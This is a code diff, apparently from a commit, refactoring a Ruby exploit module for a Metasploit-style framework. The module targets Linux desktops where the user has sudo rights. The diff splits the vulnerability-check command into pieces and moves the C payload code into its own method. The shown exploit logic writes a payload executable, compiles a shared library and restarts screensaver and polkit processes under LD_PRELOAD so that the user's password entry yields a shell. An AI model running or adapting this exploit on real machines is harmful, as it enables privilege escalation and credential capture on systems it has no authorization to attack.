@@ -61,13 +61,51 @@ def initialize(info={})
61
61
end
62
62
63
63
def check
64
- output = cmd_exec ( "if which perl && which sudo && id|grep -E 'sudo|adm' && pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;then echo OK;fi" ) . gsub ( "\r " , "" )
64
+ check_command = 'if which perl && '
65
+ check_command << 'which sudo && '
66
+ check_command << 'id|grep -E \'sudo|adm\' && '
67
+ check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
68
+ check_command << 'then echo OK;'
69
+ check_command << 'fi'
70
+
71
+ output = cmd_exec ( check_command ) . gsub ( "\r " , '' )
72
+
65
73
vprint_status ( output )
74
+
66
75
if output [ 'OK' ] == 'OK'
67
76
return Exploit ::CheckCode ::Vulnerable
68
- else
69
- return Exploit ::CheckCode ::Safe
70
77
end
78
+
79
+ Exploit ::CheckCode ::Safe
80
+ end
81
+
82
+ def exploit
83
+ exe_file = "#{ datastore [ 'WritableDir' ] } /#{ rand_text_alpha ( 3 + rand ( 5 ) ) } .elf"
84
+
85
+ print_status ( "Writing payload executable to '#{ exe_file } '" )
86
+ write_file ( exe_file , generate_payload_exe ( ) )
87
+ cmd_exec ( "chmod +x #{ exe_file } " )
88
+
89
+
90
+ cpu = nil
91
+ if target [ 'Arch' ] == ARCH_X86
92
+ cpu = Metasm ::Ia32 . new
93
+ elsif target [ 'Arch' ] == ARCH_X86_64
94
+ cpu = Metasm ::X86_64 . new
95
+ end
96
+ lib_data = Metasm ::ELF . compile_c ( cpu , c_code ( exe_file ) ) . encode_string ( :lib )
97
+ lib_file = "#{ datastore [ 'WritableDir' ] } /#{ rand_text_alpha ( 3 + rand ( 5 ) ) } .so"
98
+
99
+ print_status ( "Writing lib file to '#{ lib_file } '" )
100
+ write_file ( lib_file , lib_data )
101
+
102
+ print_status ( 'Restarting processes (screensaver/policykit)' )
103
+ restart_commands = get_restart_commands ( )
104
+ restart_commands . each do |cmd |
105
+ cmd [ 'LD_PRELOAD_PLACEHOLDER' ] = lib_file
106
+ cmd_exec ( cmd )
107
+ end
108
+ print_status ( 'The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.' )
71
109
end
72
110
73
111
def get_restart_commands
@@ -96,12 +134,7 @@ def get_restart_commands
96
134
return process_restart_commands
97
135
end
98
136
99
- def exploit
100
- exe_file = "#{ datastore [ 'WritableDir' ] } /#{ rand_text_alpha ( 3 + rand ( 5 ) ) } .elf"
101
- print_status ( "Writing payload executable to '#{ exe_file } '" )
102
- write_file ( exe_file , generate_payload_exe ( ) )
103
- cmd_exec "chmod +x #{ exe_file } "
104
- lib_file = "#{ datastore [ "WritableDir" ] } /#{ rand_text_alpha ( 3 + rand ( 5 ) ) } .so"
137
+ def c_code ( exe_file )
105
138
c = %Q|
106
139
// A few constants/function definitions/structs copied from header files
107
140
#define RTLD_NEXT ((void *) -1l)
@@ -172,22 +205,7 @@ def exploit
172
205
return;
173
206
}
174
207
|
175
- cpu = nil
176
- if target [ 'Arch' ] == ARCH_X86
177
- cpu = Metasm ::Ia32 . new
178
- elsif target [ 'Arch' ] == ARCH_X86_64
179
- cpu = Metasm ::X86_64 . new
180
- end
181
- lib_data = Metasm ::ELF . compile_c ( cpu , c ) . encode_string ( :lib )
182
- print_status ( "Writing lib file to '#{ lib_file } '" )
183
- write_file ( lib_file , lib_data )
184
- print_status ( 'Restarting processes (screensaver/policykit)' )
185
- process_restart_commands = get_restart_commands ( )
186
- process_restart_commands . each do |cmd |
187
- cmd [ 'LD_PRELOAD_PLACEHOLDER' ] = lib_file
188
- cmd_exec ( cmd )
189
- end
190
- print_status ( 'The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep the handler running.' )
208
+ c
191
209
end
192
210
end
193
211
0 commit comments